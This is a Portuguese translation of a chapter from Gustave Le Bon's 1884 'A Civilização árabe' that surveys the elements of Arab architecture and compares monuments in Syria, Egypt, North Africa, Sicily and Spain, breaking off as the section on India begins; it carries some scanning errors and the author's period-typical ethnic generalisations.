ARQUITETURA DOS ÁRABES – Dr. Gustave Le Bon

ARQUITETURA DOS ÁRABES – Dr. Gustave Le Bon

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Dr. Gustave Le Bon (Sorbonne)

A Civilização árabe (1884) – volume V

Capítulo VIII

ARQUITETURA DOS ÁRABES

ESTADO ATUAL DOS NOSSOS CONHECIMENTOS SOBRE A ARQUITETURA ÁRABE

A arqueologia moderna tem–se ocupado pouco dos monumentos que nos deixaram os árabes; como a maior parte deles estão muito longe e seu estudo nem sempre é fácil, além de três ou quatro monografias importantes, dedicadas quase exclusivamente à Alhambra e às mesquitas do Cairo e de Jerusalém, os livros quase se não referem a eles. Ba-tissier, autor de uma das melhores histórias da arquitetura que possuímos, escreve na última edição desta, datada de 1880, que "quase nada ainda se escreveu sobre a história da arquitetura muçulmana", e mostra-se pesaroso de ter que falar dela muito incompletamente. Com efeito Batissier, apesar de sua sabedoria, incorre em vários erros, e além disso sua obra não inclui nenhum monumento muçulmano da Síria, Pérsia e índia, não obstante estar muito ilustrada, devendo também notar-se que a mesquita do Egito, que publica como tipo, representa sem dúvida, com sua porta e janelas retangulares e sua cúpula em forma de cebola, a pior amostra que se poderia escolher entre a arquitetura árabe do Egito.

Sedillot, que publicou a segunda edição da História dos Árabes em 1887, fala nos seguintes e análogos termos: "Devemos lamentar que ainda se não tenham estudado de um modo geral os edifícios que os árabes construíram na Síria, Mesopotâmia, Pérsia e até na índia, durante as épocas de seu domínio nesses pontos, e que certamente conterão caracteres particulares que seria útil conhecer bem".

Fig. 302 — Arcadas da mesquita de Córdova.

Fig. 302 — Arcadas da mesquita de Córdova.

 

O mesmo desejo se manifestara antes, como prova a interessante obra de G. Prangey sobre a arquitetura dos árabes na Espanha, onde êle diz: ‘Seria curioso examinar os diferentes monumentos construídos pelos árabes na Síria, Pérsia, Egito e África (o autor esquece-se da índia). Quais são os; planos gerais, as disposições peculiares, os pormenores de construção e ornamentação, qual é enfim o caráter da famosa mesquita de Alaksa, edificada por Omar em Jerusalém? Qual o das de Damasco, Amru, Tulun, Cairo e Kairuan?"

Um estudo comparado dos monumentos deixados pelos árabes nos países onde dominaram, seria sem dúvida necessário para chegar a compreender sua arquitetura, pois só êle poderia demonstrar o parentesco engendrado por comuns instituições e crenças, e as diferenças inspiradas pela diversidade de meios geográficos e pelas raças diversas onde prevaleceram aquelas crenças e instituições. As poucas monografias que se publicaram sempre fizeram caso omisso de semelhantes questões fundamentais.

Quem se limite a estudar a arquitetura árabe de um único país acabará incorrendo em erros tão graves como o cometido por Chateaubriand em seu Itinerário de Paris a Jerusalém, quando ao falar das mesquitas do Cairo opina que se assemelham aos antigos monumentos egípcios, embora hoje ninguém mais sustente uma tal opinião. Com efeito, poucas arquiteturas são mais profundamente diferentes a todos os respeitos que a dos faraós e a dos árabes, não se podendo citar nenhuma prova de que os segundos tenham copiado seja o que fôr dos primeiros.

Embora fosse impossível traçar num único capítulo a. história da arquitetura árabe tão necessária à ciência, pode-se contudo indicar suas divisões essenciais e manifestar em que se parecem ou em que diferem os monumentos árabes existentes desde a Espanha até à índia. A tarefa não é fácil, pois temos de percorrer um caminho no qual ninguém nos precedeu, e as poucas páginas de que dispomos fazem com que nos limitemos às considerações mais importantes.

Fig. 303 a 307 — Torres de diversas igrejas de Toledo, copiadas de antigos  minaretes árabes.

Fig. 303 a 307 — Torres de diversas igrejas de Toledo, copiadas de antigos

minaretes árabes.

Já indicamos as origens da arquitetura árabe, o que ela tomou de persas e bizantinos e como logo se libertou desses vínculos para constituir uma arte de fecunda originalidade.

Antes de empreender o estudo de conjunto dos monumentos árabes existentes em diversos países, examinaremos sucintamente os elementos de que essa arquitetura se compõe.

Materiais para a construção. — Os que os árabes empregaram eram diferentes, segundo o país onde se encontravam e o objetivo que se propunham. Primeiro apenas usavam o tijolo, mas não tardaram a servir-se da pedra para os monumentos importantes, como o castelo de Alaciça e o da Kubba na Sicília, a mesquita de Hassan no Cairo, etc. Também se .serviram com freqüência, e especialmente na Espanha, de uma espécie de argamassa composta de cal, areia, barro e seixos, que logo se tornava tão forte como a obra de silharia.

Tem-se alegado que os monumentos árabes careciam de solidez, defeito que, embora real muitas vezes, está longe de o ser sempre. Quando os árabes, contentando-se com as aparências, trabalhavam depressa, seus edifícios eram tão pouco firmes quanto as nossas casas atuais, mas a circunstância de ainda existirem monumentos seus, contando hoje mais •de mil anos, prova que eles sabiam muito bem construir obras duradouras quando lhes parecia necessário; simples castelos como os da Sicília resistiram a todas as intempéries de oito séculos de existência, e a própria Alhambra ainda está de pé malgrado a sua aparente leveza.

Colunas e capitéis. — Em todos os países onde aparecem os árabes encontraram grande número de monumentos gre-;gos, romanos e bizantinos, que estavam em ruinas ou em completo abandono, e dos quais utilizaram as colunas e capitéis, motivo pelo qual seus primeiros monumentos exibem tantas colunas de origem estrangeira. Mas quando essa provisão acabou tiveram eles mesmos de construir esses elementos, e então lhes deram aquela marca especial que sabiam pôr em todos os seus trabalhos. As colunas do Pátio dos Leões na Alhambra não procedem de qualquer estilo conhecido, conforme já observou de Prangey, e devem ser considerados peculiares dos árabes.

Arcadas. — A ogiva, assim como o arco trespassado, formam duas das características da arquitetura árabe encontradas em seus primeiros monumentos. Tive ocasião de ver a ogiva empregada junto ao arco de meio ponto nos mais antigos monumentos árabes que me foi dado estudar na Europa, Ásia e África, e a rotura do arco em sua parte superior, assim como a estreiteza na base, foram a princípio tão ligeiras que se necessita muita atenção para as descobrir, embora se tenham figurado positivamente desde aqueles tempos, bastando para dar à curva uma forma graciosíssima.

Fig. 308 e 309 — Torres de igrejas de Toledo, copiadas de antigos minaretes.

Fig. 308 e 309 — Torres de igrejas de Toledo, copiadas de antigos minaretes.

Embora a ogiva continuasse a alargar-se no Egito, a base do arco não recuperou ali toda a sua dilatação primitiva, ao passo que na Espanha e na África a recuperou amplamente, a ponto de tomar aquela forma especial chamada de ferradura, ou arco trespassado, que se tornou a característica da arte árabe em certa época de ambos os países.

Afirma-se que o arco trespassado foi conhecido dos bizantinos, mas sem aduzir provas, pois semelhante forma não é encontrada nos monumentos de sua época. Creio todavia, que embora eles o empregassem pouco, realmente o conheceram, e na igreja Kapnicarea de Atenas, edificada em 418 pela imperatriz Eudóxia, segundo a inscrição que encontrei numa coluna, há arcadas cujo arco se mostra levemente trespassado, sendo tão insignificante a sua correspondência com a base da arquivolta que não se percebe se o não olharmos bem.

Minaretes. — Os que dominam todas as mesquitas derivam, conforme sabemos, da necessidade de chamar os fiéis à oração, em virtude das prescrições religiosas. As formas do minarete variam segundo o país, e neste conceito possuem muito caráter, sendo cónicos na Pérsia, quadrados na Espanha e na África, cilíndricos e terminando em apagador na Turquia, e de formas que variam em cada andar no Egito. Muitos minaretes deste país, especialmente o de Kait-Bai no Cairo, são verdadeiras maravilhas, nada havendo que melhor revele o gênio e sentido artístico dos árabes que o partido que souberam tirar de uma simples torre. Basta comparar as suas com as dos turcos para compreender a imensa diferença existente entre o sentido artístico de cada povo.

Como a maioria dos edifícios árabes, os minaretes são geralmente coroados por uma espécie de ameias de formas variadas, como trevos, pontas de lança ou de alabarda, dentes de serra, etc, que têm o nome de merlões, os quais, embora já conhecidos na Pérsia desde os sassânidas, tinham formas bem menos variadas.

Cúpulas. — Apesar do vocábulo cúpula proceder diretamente do árabe, não é possível atribuir aos muçulmanos a invenção das cúpulas, usadas muito antes deles nos palácios dos bizantinos e dos sassânidas. Contudo os árabes inventaram a forma esbelta na cúspide e estreita na base que as suas possuem. Se uma secção vertical da cúpula passasse pelo centro, produziria irremissivelmente uma curva semelhante à forma de suas arcadas, e mais tarde os persas, exagerando a dita curva, inventaram as cúpulas em forma de cebola, ou abusinadas, de que nos ocuparemos dentro em pouco.

Fig. 310 — Torre árabe da igreja de Santiago, em Toledo, segundo fotograjia.

Fig. 310 — Torre árabe da igreja de Santiago, em Toledo, segundo fotograjia.

 

A forma das cúpulas árabes varia segundo os países; na África, e especialmente em Kairuan, são rebaixadas de meio ponto, como as dos bizantinos, vendo-se muitas em cada mes-quita; as do Egito possuem o contorno já antes descrito, não figurando jamais na mesquita e sim nos túmulos ou nas salas contíguas às mesquitas que contêm um sepulcro. Sempre que no Egito encontramos uma mesquita com cúpula, pode-se assegurar que há dentro dela um túmulo.

As cúpulas da Síria assemelham-se na forma às do Egito, pelo menos a da mesquita de Omar, que é de base ligeiramente estreita; mostram porém menos esbelteza, são pesadas e não se revestem de adornos.

Há no Egito, e especialmente no cemitério existente junto à cidadela, todas as variedades imagináveis de cúpulas, hemisféricas, elípticas, cilíndricas, cónicas, ogivais e de nervuras, etc.

Pingentes. — Parece que os arquitetos árabes tinham uma funda antipatia pelas superfícies niveladas e pelos ângulos e formas retangulares, apesar de tão preferidos pelos antigos gregos; com o fim de encher os vazios das paredes cortadas em ângulo reto, e enlaçar por meio de transições suaves as abóbadas circulares com as salas quadradas que as sustinham, inventaram uns nichos em saliência, com a forma de um triângulo esférico, e aos quais se deu o nome de pingentes por penderem sobre o vácuo. Mas tendo achado essas pequenas abóbadas excessivamente geométricas, sobrepuseram-nas por séries graduadas, chegando a produzir um conjunto que tem o nome de estalactites, e cujo aspecto se assemelha ao de uma colmeia. Nos séculos X e XI já se empregavam na Sicília, porém os árabes de Espanha modificaram-nas, dando às concavidades esféricas a forma de prismas verticais e de faces côncavas.

Fig. 311 — Forte de Bisagra, em Toledo.

Fig. 311 — Forte de Bisagra, emToledo.

O uso de estalactites em forma de pingentes é peculiar dos árabes, e não foi até agora encontrado na arquitetura de nenhum outro povo. A partir do século XII generalizou-se por todos os países muçulmanos, aplicando-se continuamente para enlaçar qualquer saliência externa das galerias dos minaretes com as superfícies verticais, encher as abóbadas das mesquitas, unir essas abóbadas com as paredes em que assentavam, casar as abóbadas esféricas com as superfícies quadradas, etc.

Embora a multidão de lances seja uma característica da arquitetura árabe, não posso admitir o que diz Ch. Blanc "que ela resulte da necessidade de produzir sombras por meio de saliências muito destacadas". De fato eles não produzem sombra alguma, sendo tão freqüentes no interior dos edifícios, onde nada há a sombrear, como no próprio exterior. Também •as saliências arquitetônicas dos minaretes não procedem "da necessidade de ter galerias elevadas de onde os muezins possam chamar à oração", pois se os de Constantinopla e da Pérsia exibem uma galeria, por outro lado carecem das esculturas que se destacam e pendem do vazio nos do Cairo. Quanto a mim não vejo nesse sistema de ornamentação outra coisa além da antipatia dos árabes pelos ângulos e superfícies niveladas de que já falei e se observa em todas as suas obras de arte, quer se trate de um tinteiro, da encadernação de um Corão ou de um minarete.

Arabescos e pormenores ornamentais. — Tão característica é a ornamentação dos monumentos árabes, que basta para revelar imediatamente a sua origem à pessoa mais ignorante em arquitetura.

Estes adornos compõem-se de desenhos geométricos conjugados com inscrições, e são mais fáceis de sugerir que de «descrever. Contudo sua execução depende, apesar das aparências caprichosas, de regras muito fixas que Bourgoin perfeitamente evidenciou.

Os arabescos eram esculpidos em pedra, como em diversas mesquitas do Cairo, ou vasados em gesso como na Alhambra.

Fig. 312 — Vista da Alhambra, segundo uma antiga gravura.

Fig. 312 — Vista da Alhambra, segundo uma antiga gravura.

A escritura árabe desempenha um grande papel na ornamentação, harmonizando-se maravilhosamente com os arabescos; exprimiu-se até ao século IX em caracteres cúficos, ou derivados deles, como o carmático e o cúfico retangular.

Tiravam-se geralmente essas inscrições do Corão, sendo a mais usada a que se encontra nas primeiras linhas desse livro: Bismillah er rahmâni er rahin (em nome de Deus clemente e misericordioso), ou a sentença que resume o islamismo: "La ilaha Ma Allah, Mohammed rasul Allah (Alá é o único Deus e Maomé o seu Profeta).

Os caracteres são tão ornamentais que os arquitetos cristãos da Idade Média muitas vezes copiaram em seus monumentos trechos de inscrições árabes que casualmente lhes chegavam às mãos, julgando-os meros caprichos de desenhistas. Longperier, Lavoix e outros encontraram muitos exemplos disso na Itália, tendo este último visto na sacristia de Milão uma porta ogival "ao redor da qual circulava uma guarnição de pedra cujo friso era composto de uma palavra árabe muitas vezes repetida. Nas portas de S. Pedro de Roma, mandadas esculpir pelo Papa Eugênio VI, uma lenda árabe compõe auréola em torno do nome de Cristo, e uma larga faixa de caracteres cúficos desdobra-se sobre as túnicas de S. Pedro e S. Paulo". Sinto que o autor nos não haja traduzido essas inscrições, pois seria curioso saber se a que envolve o nome de Cristo afirma ser Alá o único Deus e Maomé o seu Profeta.

Decoração polícroma. — Teve-se muito tempo por artigo de fé que os gregos não coloriam seus monumentos nem suas estátuas, e como as regras que eles seguiam eram leis para os povos latinos, criou-se uma espécie de gosto oficial que nos leva a considerar um monumento branco como coisa belíssima; embora o sol o abrase até nos deslumbrar, ocultan-do-lhe os pormenores, a tradição obriga-nos a admirá-lo. Felizmente, porém, as investigações modernas provaram ter os gregos inclinações diferentes do que se supunha, e que a maioria de seus monumentos eram cobertos de pinturas. Os tons mais empregados por eles eram o azul, o amarelo e o vermelho, e desse modo no templo de Egina a arquitrave era pintada de vermelho, destacando no fundo uns escuros dourados; o tímpano do frontão era de fundo azul e estava guarnecido de molduras vermelhas e verdes.

Fig. 313 — Pormenor de ornamentação de um capitel e coluna da Alhambra.

Fig. 313 — Pormenor de ornamentação de um capitel e coluna da Alhambra.

 

As inclinações artísticas dos árabes levaram-nos a preferir instintivamente os monumentos polícromos aos brancos, e de modo geral eles revestiram seus arabescos de cores, combinadas com muita ciência e gosto; assim, a superfície de todas as paredes da Alhambra era antes coberta de vivas cores, o que também freqüentemente sucedia nas paredes externas das mesquitas.

As cores empregadas pelos árabes do Egito eram o verde, o vermelho, o azul, o amarelo e o dourado. O autor que melhor estudou a Alhambra e dirigiu a restauração do Pátio dos Leões no Palácio de Cristal de Londres, Owen Jones, provou que com exceção dos azulejos da base das paredes, os árabes não tinham empregado na Alhambra mais de três cores, o azul, o vermelho e o dourado, ou seja o amarelo. Dispunham-nas com muita discrição, pondo no fundo das molduras o mais intenso, ou seja o vermelho, e o azul nas partes laterais, diligenciando para que este ocupasse o maior espaço possível a fim de compensar o efeito do vermelho e do dourado. Os tons eram separados por faixas brancas ou pela sombra que ressaltava do relevo do adorno. As colunas seriam provavelmente douradas, dado que brancas não harmonizariam com a pintura polícroma dos corpos que sustentavam.

Quanto às cores verde, púrpura, pardo, etc, de que se encontram vestígios na Alhambra, o mesmo autor provou serem resíduos de más restaurações espanholas empreendidas em diferentes épocas. Foram decerto essas borraduras que induziram em erro os restauradores atuais desse palácio, pois tanto as partes que eles refizeram como a reprodução que vendem ao público estão em desacordo com os princípios que acabo de expor.

II

ESTUDO COMPARADO DOS DIFERENTES MONUMENTOS DA ARQUITETURA ÁRABE

Monumentos da Siria. — Entre os desta região não mencionarnos até agora senão os posteriores a Maomé, apesar de muito antes déle as tribos árabes viverem nesse territorio e nele terem fundado poderosos reinos. As escassas ruinas, ainda pouco examinadas, descobertas em Bassora, provam que a arquitetura já estava ali muito desenvolvida, sendo provável que ao chegarsm à Síria os muçulmanos tenham utilizado os conhecimentos de seus compatriotas; todavia, por falta de elementos não pudemos falar dos monumentos dessa época esquecida, limitando-nos aos que se edificaram depois de Maomé, especialmente as mesquitas de Omar, Alaksa e Damasco, construções antiquíssimas que remontam, ao menos em suas partes fundamentais, ao primeiro século da hégira, e todas de estilos diferentes.

Acham-se esses monumentos impregnados das influências bizantina e persa de que a arte árabe nunca logrou desembaraçar-se de todo na Síria, e cumpre observar que mesmo nas partes mais antigas já se notam assomos da ogiva e do arco de ferradura, ou seja do arco ligeiramente quebrado na coroa e um tanto estreito na base. Os mesmos traços característicos se encontram em Damasco nas arcadas do pátio e em quase todos os pontos do monumento de Alaksa, coisa que também vi nas arcadas da primeira fila interior de colunas da mesquita de Omar, em Jerusalém.

Todos estes monumentos primitivos mostram os capitéis enlaçados de uma a outra coluna por meio de grandes vigas de união, que íoi um sistema peculiar aos arquitetos árabes.

Parece que na Síria os primeiros minaretes exibiam a forma quadrada, ou pelo menos assim o indica o mais antigo de Damasco.

Embora a cúpula tenha sido empregada na Síria, era rebaixada de meio ponto, como a dos bizantinos, e se a da mesquita de Omar constitui exceção, não esqueçamos que foi reconstruída numa época posterior à edificação da obra.

Monumentos do Egito. — Em nosso capítulo dedicado à história dos árabes no Egito, contamos a série de grandes transformações verificadas em sua arquitetura durante 800 anos, começando na mesquita de Amru, construída em 742, e terminando na de Kait Bai, edificada em 1468. A arte começou ali por ser bizantina, logo se libertando de qualquer influência estrangeira e adquirindo formas originais.

Embora a mesquita de Amru tenha sido várias vezes restaurada, parece que se respeitou parte de sua decoração primitiva. Neste edifício já se percebe um gérmen da ogiva e a tendência para estreitar a base das arcadas; os minaretes são simples e terminam em ponta.

A mesquita de Tulun construída em 768, é obra que inicia o afastamento dos processos bizantinos, tendo as arcadas, francamente ogivais e sustentadas por pilares, colunas incrustadas nos ângulos; as flores e folhagens que servem de adorno possuem um estilo novo que se assemelha aos arabescos, po-rém de estalactites não existe a menor indicação.

A mesquita de Tulun é feita de tijolo; seu minarete mostra quatro andares e carece de qualquer adorno externo, embora cada andar apresente forma diferente, quadrado na base, cilíndrico no meio e octógono até ao final.

Na mesquita de El Azhar, começada em fins do século X e terminada em épocas posteriores, a ornamentação é muito mais rica e variada; o arco das arcadas mostra um contorno mais agudo que nas mesquitas anteriores, as estalactites figuram já em toda a parte, e os minaretes possuem várias galerias ricamente ornamentadas.

A mesquita de Kalaun (1823) oferece-nos um verdadeiro tipo da arte cgival árabe em seu período culminante, e já dissemos que tinha muita analogia com as igrejas góticas da Idade Média.

A mesquita de Hasan (1356), apresenta-nos um tipo da arte árabe quase no auge do esplendor. Este monumento gigantesco, com suas paredes de 8 metros de espessura, seu grande portal de 20 metros de altura, a cúpula de 56 metros e os minaretes de 80, corresponde mais ao gênero de nossas grandes catedrais que ao das mesquitas primitivas, provando que os árabes sabiam, quando era necessário, construir edifícios tão vastos como sólidos.

Fig. 314 — Pormenores da parte superior da sala das Duas Irmãs, na Alhambra, segundo um desenho de O. Jones.

Fig. 314 — Pormenores da parte superior da sala das Duas Irmãs, na Alhambra, segundo um desenho de O. Jones.

 

As mesquitas de Barkuk (1384), Muaiad (1415) e sobretudo a de Kait Bai (1468) são exemplos do progresso que os árabes continuavam fazendo, sendo esta última edificação com sua admirável cúpula, esplêndido minarete e ricas consolas, cornijas, galerias e brilhantes esculturas, um monumento absolutamente original. Se fosse o único deixado pelos árabes poderíamos considerá-lo como representante de uma arte sem semelhança próxima ou remota com qualquer outra.

A mesquita de Kait Bai e as de sua época, como por exemplo a de Kag Bai (1502), são os dois últimos produtos notáveis da arquitetura no Egito. A partir do século XVI, ou seja desde a conquista turca por Salim, a arte árabe desaparece nessa região, onde, descuidada pelos vencedores, se extingue pouco a pouco. De fato, a arte só existe quanto é estimada e protegida. Uma concepção artística elevada não seria apreciada pela cabeça de um turco. Os monumentos que durante o período turco se ergueram, tão pesados de formas, estão carregadíssimos de adornos e cheios de cores estridentes. "Por sorte — escreve Ebers com toda a justiça, — não desgostarão os artistas por muito tempo, — pois não tendo sido edificados para durar, mas para servir enquanto não forem consumidos, a posteridade, de que não cuidaram seus construtores, se vingará esquecendo-os".

Monumentos da África setentrional. — Há apenas um fraco parentesco entre os monumentos da África setentrional e da Sicília e os do Egito, mas em troca existe um parentesco muito próximo entre eles e os monumentos primitivos de Espanha. É-nos impossível falar dos palácios da África por estarem já todos destruídos, porém Marmol, que visitou os de Marrocos e Fez um século depois da tomada de Granada, diz em sua descrição da África que "em quase tudo se pareciam com a Alhambra".

O mesmo parentesco que provavelmente havia entre os palácios árabes destas duas regiões, existiria também entre seus monumentos religiosos, como indicam os chegados até nós; e esse parentesco acentua-se especialmente nos minaretes, em geral quadrados e sem galerias nem saliências externas, havendo alguns que mostram dois e três andares re-

 

entrantes. Estes monumentos diferem completamente dos do Egito no conjunto e pormenores. Todos os minaretes africanos, desde Kalaun até Fez, incluídos os de construção relativamente moderna que copiados de antigos modelos se ergueram na Argélia e na Tunísia, pertencem à mesma família da qual iremos encontrar representantes na Giralda de Sevilha, e sobretudo nas numerosas torres das igrejas de Toledo cem origem visivelmente árabe.

Fig. 315 — Galeria superior de um dos pátios do alcáçar de Sevilha, segundo uma fotografia de Laurent.

Fig. 315 — Galeria superior de um dos pátios do alcáçar de Sevilha, segundo uma fotografia de Laurent.

 

Além de seus minaretes tão característicos, as antigas mesquitas da África, como as de Kalaun, exibem o elemento especial das cúpulas bizantinas rebaixadas, muito diferentes das do Egito e da Pérsia; a grande mesquita de Kaluan tem quatro cúpulas desse gênero.

Deduzindo pelo que podemos imaginar, à vista dos monumentos ainda existentes, a arte árabe sempre sofreu a influência bizantina na África setentrional, mostrando-se incapaz de subtrair-se a ela como fêz no Egito e na Espanha. Marrocos constitui uma exceção à regra.

Monumentos da Sicília. — Os principais monumentos árabes desta ilha são os dois castelos de Alaciça e de Kubba perto de Palermo, construídos em meados do século X; e como não há noutra parte castelos árabes de época tão remota, seu estudo apresenta um interesse excepcional. As freqüentes relações dos árabes da Sicília com os da África levam-nos a supor que as construções seriam análogas nos ‘dois pontos, sendo lícito imaginar pelos de um, os que haveria no outro continente.

Os castelos de Alaciça e de Kubba serviam tanto de fortaleza como de palácio e foram construídos com silhares emparelhados, o que lhes permitiu arrostarem impunemente os efeitos de tantos séculos.

O Alaciça, perto de Palermo, tem a forma de um grande cubo de pedra e cal; suas paredes mostram uma severa combinação de longos arcos de abóbada, de forma levemente ogival, dentro dos quais se abrem janelas geminadas que antes estavam adornadas com pequenas colunas. O friso serve de coroamento e parapeito, e continha uma inscrição, em caracteres carmáticos, da qual restam ainda algumas letras. A ornamentação dos salões dessa fortaleza é simples e elegante, destacando alguns pingentes formados de estalactites, como na Espanha, embora seja difícil saber se as restaurações que os operários ali fizeram por ordem dos reis normandos não alteraram o primitivo estilo.

A pequena distância do de Alaciça, ergue-se o castelo de Kubba.

O aspecto externo de ambos, suas longas arcadas ogivais e o conjunto regular da construção diferenciam-nos visivelmente dos palácios árabes de Espanha. Prangey encontra-lhes certa analogia com os monumentos árabes do Egito, o que me não parece, pois apenas acho uma diminuta parecença entre uns e outros, e só depois de muito rebuscar lembro que certas partes da mesquita de Kalaun têm com os dois castelos um ligeiríssimo parentesco.

Fig. 316 — Uma das portas do pátio das Donzelas no alcáçar de Sevilha, segundo uma fotografia de Laurent.

Fig. 316 — Uma das portas do pátio das Donzelas no alcáçar de Sevilha, segundo uma fotografia de Laurent.

 

Monumentos árabes da Espanha. — O autor que acabo de citar divide a arquitetura árabe da Espanha em três períodos diferentes: bizantina, de transição e mourisca, e embora esta divisão tenha sido geralmente adotada, não encontro nenhuma razão positiva para a seguir. O vocábulo mourisco aplicado à arquitetura parece-me um contra-senso, porque mourisco equivale a berbere, e nada indica que os berberes tenham jamais introduzido um elemento novo, de qualquer gênero que fosse, nas artes árabes. Algumas dinastias berberes reinaram nos estados árabes de Espanha, como algumas dinastias circassianas no Egito, mas nem uma nem outras criaram nada em arte, e houve tanta arquitetura circassiana no Egito como mourisca na Espanha.

Sabemos já além disso, por testemunhos positivos da época, que no tempo das dinastias berberes os arquitetos sempre foram árabes, e eis o que sobre este particular diz um autor contemporâneo:

"Das províncias da Andaluzia, unidas ao seu império de Magrib — escreve Ibn Said, — os emires almohades Iussuf e Iakub-el-Mansur mandaram vir arquitetos para todas as construções que fizeram em Marrosos, Rabat, Fez, Mansu-riah. .*.; e também é igualmente notório que hoje (1237) esta prosperidade e esplendor de Marrocos parece ter passado para a Tunísia, onde o sultão atual constrói monumentos, edifica palácios, planta jardins e vinhedos, imitando os andaluzes. Todos os arquitetos são naturais desse país, bem como os pedreiros, carpinteiros, oleiros, pintores e jardineiros, sendo os planos dos edifícios obra dos andaluzes, ou cópia dos próprios monumentos de seu país".

O mais antigo monumento árabe da Espanha é a mesquita de Córdova, pertencente a um período que chamarei de bizantino-árabe, em vez de simplesmente bizantino, por não existir nenhum edifício desse estilo que se lhe assemelhe. As coisas aí tiradas dos bizantinos, como capitéis de folhagens, ramos e frutos, palmas, entrelaces, mosaicos e adornos com

fundo de ouro, etc., são evidentes, mas o emprego dos caracteres cúficos como motivo de ornamentação, as arcadas de ferradura, com vários lóbulos e arcos sobrepostos, revestem o monumento de tão grande originalidade que não se pode confundi-lo com um bizantino. Uma circunstância especial, como a necessidade de sobrepor as colunas de que se dispunha no intuito de dar ao edifício uma altura proporcionada à sua largura, imprimiu às naves um aspecto não existente em nenhum edifício anterior. O sentido artístico dos árabes aparece nas combinações de arcadas que usaram para dissimular essa superposição, e para sustentar que tão engenhosa idéia pertence aos bizantinos seria necessário provar que estes a empregaram em alguma parte.

Fig. 317 Antiga mesquita de Hamadan (Pérsia), segundo um desenho de Coste.

Fig. 317 Antiga mesquita de Hamadan (Pérsia), segundo um desenho de Coste.

 

Os árabes de Espanha libertaram-se tão rapidamente das influências bizantinas como os do Egito, substituindo os adornos bizantinos sobre fundo de ouro pelos arabescos e estalactites, e dando ao arco uma forma ogival, delicadamente festoada.

Os mais antigos monumentos árabes de Espanha, depois dos de Córdova, são os de Toledo, cidade que os possui muito interessantes, por exemplo a porta de Bisagra, começada no século IX, a do Sol, que data do XI, e outras obras; aí se podem estudar algumas etapas sucessivas da arte árabe.

Embora os minaretes das antigas mesquitas espanholas tenham sido destruídos, ficando apenas de pé a Giralda de Sevilha correspondente ao século XII, pode-se afirmar que tiveram a forma quadrada dos da África, opinião que baseio nas imitações que deles se fizeram quando da edificação das antigas torres ainda existentes das igrejas de Toledo; sendo elas árabes nos pormenores mais essenciais, é natural que também o fossem nas formas, sendo-nos mesmo lícito afirmar que na Espanha não se usaram os minaretes do Egito, pois de outro modo os cristãos os teriam imitado.

À medida que se prolongou a permanência dos árabes em Espanha, sua arquitetura enriqueceu-se e ornamentou-se mais, logo se libertando de qualquer imitação estrangeira. Os adornos bizantinos, especialmente os mosaicos sobre fundo de ouro, desapareceram dando lugar a uma nova ornamentação, e dos monumentos importantes, o Alcáçar de Sevilha e a Alhambra ensinam-nos o que foi essa arquitetura em seu período áureo.

O Alcáçar começou no século XI, mas foi retocado nos séculos XII e XIII, sem contar as restaurações de Carlos V e Felipe II; o frontispício é do século XIII, e o pátio dos Bonecos, a sala dos Embaixadores e diferentes outras partes são tidas por antiquíssimas.

Embora não se vejam nas partes primitivas desse Alcáçar a profusão de adornos da Alhambra, nem as abóbadas em estalactite, o estilo de ambos assemelha-se, diferindo apenas nos detalhes. O arco acentuadamente trespassado, que quase não se usou na Alhambra, usou-se pelo contrário freqüentemente no Alcáçar; os tetos artesonados com pinturas e dourados do Alcáçar têm muita analogia com os dos antigos palácios do Cairo e de Damasco.

A arte árabe alcança o seu período mais intenso em Espanha com a construção da Alhambra, monumento que data do século XIII, e embora a sua ornamentação seja excessiva, domina-a um gosto tão delicado que se torna impossível aplicar a esse edifício a palavra decadência.

Fig. 318 — Mesquita e túmulo de Shah-Koda, em Sultanieh, Pérsia, do século XVI; desenho de Texier.

Fig. 318 — Mesquita e túmulo de Shah-Koda, em Sultanieh, Pérsia, do século XVI; desenho de Texier.

 

Apesar de suas paredes, em vez de pedra de silharia, serem de mera argamassa composta de cal, areia, barro e pedregulhos, e todos os adornos de gesso moldado, o edifício mostra grande solidez, tendo resistido durante séculos às intempéries sem necessitar jamais de restaurações importantes.

Os principais caracteres especiais que diferenciam a arquitetura da Alhambra da do Alcáçar de Sevilha, são os seguintes: revestimento geral de todas as superfícies com molduras coloridas; emprego de colunas leves, horizontalmente acanaladas e coroadas de capitéis cheios de entrelaços e folhagens; janelas compostas quase de arco de meio ponto, delicadamente festonadas e cercadas de um cordão retangular, e tetos de conchas em estalactites.

Não subsistem já no Egito palácios árabes do tempo da Alhambra, mas se calculássemos a ornamentação que deveriam ter pela das mesquitas, parece conseqüente que houvesse entre estas e aqueles diferenças notáveis; embora a arte árabe de Espanha seja parente da do Egito, todas as, fases de seu curso respectivo possuem entre si bem tênue semelhança.

A influência da arquitetura dos árabes na dos cristãos que substituíram aquela raça, foi importantíssima. Com efeito, antes da expulsão os arquitetos muçulmanos eram empregados na construção e reparação de edifícios cristãos, originando-se uma combinação de dois estilos que deu origem a outro novo chamado mudejar.

Além deste encontra-se também nas antigas sinagogas de Espanha um estilo particular, muito semelhante ao árabe, que poderíamos classificar de judaico-árabe, e apenas difere do primeiro no emprego de caracteres hebreus como motivos de decoração e no de diversos adornos tirados do reino vegetal, sobretudo grandes folhagens. As antigas sinagogas do Trânsito e de Santa Maria a Branca de Toledo contêm preciosas amostras desse estilo, no qual se encontram além disso muitas reminiscências da época bizantina.

Monumentos da índia. — O estudo dos construidos pelos muçulmanos neste país oferece-nos um surpreendente exemplo das modificações que a arquitetura de um pcvo pode receber pela influência de outras raças com êle relacionadas.

Já vimos que quando os árabes chegaram à índia encontraram uma civilização antiga e poderosa, e que se lograram modificá-la por meio de sua religião, sua língua e artes, o que ainda hoje é sensível, nem por isso chegaram a influir politicamente muito nesse país.

Fig. 319 — Mausoléu de Tamerlão, em Samarcanda, segundo uma fotografia do álbum do general Kaufman.

Fig. 319 — Mausoléu de Tamerlão, em Samarcanda, segundo uma fotografia do álbum do general Kaufman.

 

